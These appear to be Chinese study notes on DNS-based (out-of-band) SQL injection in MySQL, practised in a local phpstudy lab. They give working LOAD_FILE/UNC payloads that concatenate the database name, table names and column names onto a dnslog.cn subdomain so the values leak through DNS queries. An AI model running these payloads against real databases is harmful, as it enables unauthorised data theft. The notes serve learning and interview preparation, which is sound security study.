一、基础知识总结:
DNS注入→让盲注变成显错注入
LOAD_FILE() :读取文件的函数
在phpstudy的cmd里用的时候,需要在从其他选项菜单→打开配置文件→mysql-ini的配置文件里加上:
secure_file_priv=
配置好后重启,才好使。
举例:select load_file('C\\1.txt')
两个\\原因,其中一个是转义符。
可以写绝对路径,也可以相对路径。
UNC路径:
Windows的SMB服务——可以共享文件
load_file 支持UNC路径。
http://dnslog.cn/ 是dns注入的平台,用法:
点get subdomain,复制网址去访问,再点refresh record刷新,能显示访问人的ip
如果访问子域名,比如abc.8rrsju.dnslog.cn,再点refresh record刷新,也能显示访问人的ip
phpstudy中,select load_file('//8rrsju.dnslog.cn'),再点refresh record刷新,也能显示访问人的ip
用 concat()字符串拼接,把数据库和网址拼接起来,如:
select load_file(concat('//',database(),'.8rrsju.dnslog.cn/abc'));
ps:注意这一步的前提是cmd里进入数据库。
再点refresh record刷新,在网站的DNS Query Record里出现了test.8rrsju.dnslog.cn,其中test就是数据库名。
可以同理得到表名,列名,数据。
查表名:
select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.8rrsju.dnslog.cn/abc'));
ps:注意这一步的前提是cmd里进入的数据库不为空(里面至少有一个表)。
得到表名之一为admin123
查列名:
select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin123' limit 0,1),'.8rrsju.dnslog.cn/abc'));
得到列名之一为Id
这种方法又叫 OBB:数据外带
这种方法的弱点:
1.目标得有网络。
2.SMB服务 Windows自带,Linux不自带。(面试时候可能会问DNS注入可以用于Linux吗?答案是不一定可以,并需要解释原因为SMB服务 Windows自带,Linux不自带)